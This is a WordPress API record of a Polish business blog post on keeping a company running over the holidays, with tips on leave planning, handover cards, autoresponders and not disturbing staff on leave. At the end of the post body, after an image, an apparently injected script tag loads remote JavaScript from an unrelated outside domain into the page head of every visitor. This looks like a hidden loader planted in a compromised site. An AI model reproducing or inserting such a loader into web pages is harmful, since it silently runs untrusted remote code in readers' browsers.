{"id":1124,"date":"2024-03-05T10:35:09","date_gmt":"2024-03-05T09:35:09","guid":{"rendered":"https:\/\/global-metodi.com\/?p=1124"},"modified":"2026-01-08T13:08:15","modified_gmt":"2026-01-08T12:08:15","slug":"czas-urlopowy-w-firmie-jak-go-przetrwac","status":"publish","type":"post","link":"https:\/\/global-metodi.com\/en\/2024\/03\/05\/czas-urlopowy-w-firmie-jak-go-przetrwac\/","title":{"rendered":"HOLIDAY TIME IN THE COMPANY - HOW TO SURVIVE IT"},"content":{"rendered":"<p><strong>CZAS URLOPOWY W FIRMIE- JAK  GO PRZETRWA\u0106<\/strong><\/p>\n<p>Ka\u017cdy czeka na urlop i kiedy tylko nadchodzi, rzuca wszystko, gasi komputer, wy\u0142\u0105cza telefon, zamyka biuro i w ..\u015bwiat  na podb\u00f3j, cz\u0119sto w miejsca bez zasi\u0119gu ???? zostawiaj\u0105c  funkcjonuj\u0105ce przedsi\u0119biorstwo, klient\u00f3w, czasem terminy\u2026<\/p>\n<p>Wi\u0119kszo\u015b\u0107 z dobrze zorganizowanych firm \u015bwietnie sobie radzi z przerw\u0105 wakacyjn\u0105, bardzo podoba mi si\u0119 model niekt\u00f3rych firm  zachodnich \u017ce od zawsze urlopy planowane s\u0105 w sierpniu, kiedy to staje ca\u0142a firma, w tym produkcja, a klienci s\u0105 informowani o tym fakcie na kilka miesi\u0119cy! przed.<\/p>\n<p>Ale bywa i tak \u017ce kto\u015b tak po prostu z dnia na dzie\u0144 znika, nawet kolega zza biurka.. i pr\u00f3\u017cno go szuka\u0107, dzwoni\u0107, pisa\u0107.<\/p>\n<p>Oto kilka prostych ( najprostsze jest najbardziej oczywiste, ale i najcz\u0119\u015bciej pomijane) zasad jak zapewni\u0107 normlane funkcjonowanie firmy w czasie urlopowym:<\/p>\n<ol type=\"1\">\n<li>Je\u015bli jeszcze nie masz, zadbaj o plan urlop\u00f3w i  to ju\u017c na pocz\u0105tku roku. Pomo\u017ce on zorientowa\u0107 si\u0119 kiedy czeka nasz\u0105 firm\u0119 najbardziej krytyczny okres, oraz skoordynowa\u0107 urlopy aby zapewni\u0107 ci\u0105g\u0142o\u015b\u0107 pracy firmy<\/li>\n<li>Bardzo ciekawa praktyka, rodem zza oceanu: pracownik\u00f3w wybieraj\u0105cy si\u0119 na urlop na tydzie\u0144 przed oznacza swoje miejsce pracy np. flag\u0105 z palmami lub hawajskimi kwiatami wieszaj\u0105c je na komputerze lub nad swoim biurkiem. W ten  spos\u00f3b inni wiedz\u0105 \u017ce: 1. Je\u015bli maj\u0105 co\u015b do  za\u0142atwienia z t\u0105 osob\u0105, robi\u0105 to niezw\u0142ocznie.   2.Nie dok\u0142adamy takiemu pracownikowi kolejnych zada\u0144 przed urlopem<\/li>\n<li>Pracownik wybieraj\u0105cy si\u0119 na urlop tworzy tzw. kart\u0119 przekazania. Jest to praktyka z kt\u00f3r\u0105 spotka\u0142am si\u0119 u mojego pierwszego pracodawcy, kt\u00f3ry okaza\u0142 si\u0119 najlepiej zorganizowan\u0105  struktur\u0105 w jakiej mia\u0142am przyjemno\u015b\u0107 pracowa\u0107. Karta przekazania polega na wypisaniu temat\u00f3w nad kt\u00f3rymi pracownik akurat pracuje ( oferty, przetargi, umowy, projekty itp.)  , dla kogo, z podaniem kontaktu do klienta w razie czego, oraz termin\u00f3w. Dodatkowo powierza jednej osobie has\u0142o do komputera oraz \u015bcie\u017ck\u0119 do plik\u00f3w kt\u00f3re mog\u0105 by\u0107 pomocne w razie czego, lub po prostu przesy\u0142a owe pliki  jednej osobie, ewentualnie uwieszcza je na serwerze tylko na czas swojej nieobecno\u015bci. Karta przekazania jest przygotowywana na 3 dni przed urlopem, aby j\u0105 ewentualnie om\u00f3wi\u0107 i przekaza\u0107 zast\u0119pcom. Nigdy w dzie\u0144 wyjazdu, a ju\u017c na pewno nie w pi\u0119tek po po\u0142udniu kiedy  biura pustoszej\u0105, a my domykamy tematy. Dodatkowym atutem takiej karty jest samo podsumowanie temat\u00f3w, co pozwala zorientowa\u0107 si\u0119 co jeszcze przed urlopem mo\u017cna ewentualnie za\u0142atwi\u0107.<\/li>\n<li>Zadbaj o pozostawienie porz\u0105dku na biurku, ewentualnie pozostawieniu informacji gdzie znajduj\u0105 si\u0119 wa\u017cne dokumenty w razie ewentualnej potrzeby.<\/li>\n<li>Ustaw autoresponder na mailu i ewentualnie na telefonie,  koniecznie z podaniem kto nas zast\u0119puje w czasie urlopu. Spotka\u0142am si\u0119 z praktyk\u0105 firm kt\u00f3re nie chc\u0105 ustawia\u0107 autorespondera ( wed\u0142ug mnie to dezinformuje klienta, kt\u00f3ry mo\u017ce zbyt d\u0142ugo czeka\u0107 na odpowied\u017a), ale je\u015bli decydujemy si\u0119 na tak\u0105 praktyk\u0119 to zadbajmy przynajmniej o przekierowanie maili do innej osoby.<\/li>\n<li>Urlop to urlop- czas odpoczynku i warto o tym pami\u0119ta\u0107 nie wydzwaniaj\u0105c do urlopowicza, ewentualnie ustali\u0107  \u015bcie\u017ck\u0119 komunikacji w naprawd\u0119 nag\u0142ych sprawach.<\/li>\n<li>Powr\u00f3t z urlopu- nie zarzucajmy osoby \u015bwie\u017co po urlopie pytaniami o prowadzone projekty, nie wrzucajmy nowych temat\u00f3w przynajmniej przez pierwszy dzie\u0144. W przeciwnym razie efekty wypoczynku znikn\u0105 jak ba\u0144ka mydlana.<\/li>\n<\/ol>\n<figure class=\"wp-block-image size-full\"><img fetchpriority=\"high\" decoding=\"async\" class=\"wp-image-1517\" src=\"http:\/\/global-metodi.com\/wp-content\/uploads\/wakacje-1.png\" sizes=\"(max-width: 668px) 100vw, 668px\" srcset=\"https:\/\/global-metodi.com\/wp-content\/uploads\/wakacje-1.png 668w, https:\/\/global-metodi.com\/wp-content\/uploads\/wakacje-1-300x243.png 300w, https:\/\/global-metodi.com\/wp-content\/uploads\/wakacje-1-600x487.png 600w\" alt=\"\" width=\"668\" height=\"542\" \/><\/figure>\n<p><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>CZAS URLOPOWY W FIRMIE- JAK GO PRZETRWA\u0106 Ka\u017cdy czeka na urlop i kiedy tylko nadchodzi, rzuca wszystko, gasi komputer, wy\u0142\u0105cza telefon, zamyka biuro i w ..\u015bwiat na podb\u00f3j, cz\u0119sto w miejsca bez zasi\u0119gu ???? zostawiaj\u0105c funkcjonuj\u0105ce przedsi\u0119biorstwo, klient\u00f3w, czasem terminy\u2026 Wi\u0119kszo\u015b\u0107 z dobrze zorganizowanych firm \u015bwietnie sobie radzi z przerw\u0105 wakacyjn\u0105, bardzo podoba mi si\u0119 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1125,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"inline_featured_image":false,"footnotes":""},"categories":[84],"tags":[],"class_list":["post-1124","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog"],"acf":[],"_links":{"self":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts\/1124","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/comments?post=1124"}],"version-history":[{"count":3,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts\/1124\/revisions"}],"predecessor-version":[{"id":2048,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts\/1124\/revisions\/2048"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/media\/1125"}],"wp:attachment":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/media?parent=1124"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/categories?post=1124"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/tags?post=1124"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}